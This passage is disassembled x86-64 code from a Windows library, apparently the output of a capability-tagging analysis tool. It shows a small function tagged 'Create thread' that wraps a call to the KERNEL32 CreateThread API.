add rsp, 0x30
pop r14
ret

Function at 0x180018798
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov esi, 1
mov rdi, rcx
mov rbx, rdx
add dword [0x180042760], esi
lea ecx, [rsi + 0x26]
call fcn.180018118
cmp ax, si
jne 0x1800187d2
mov rdx, rbx
mov rcx, rdi
call fcn.180018708
jmp 0x1800187ed
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret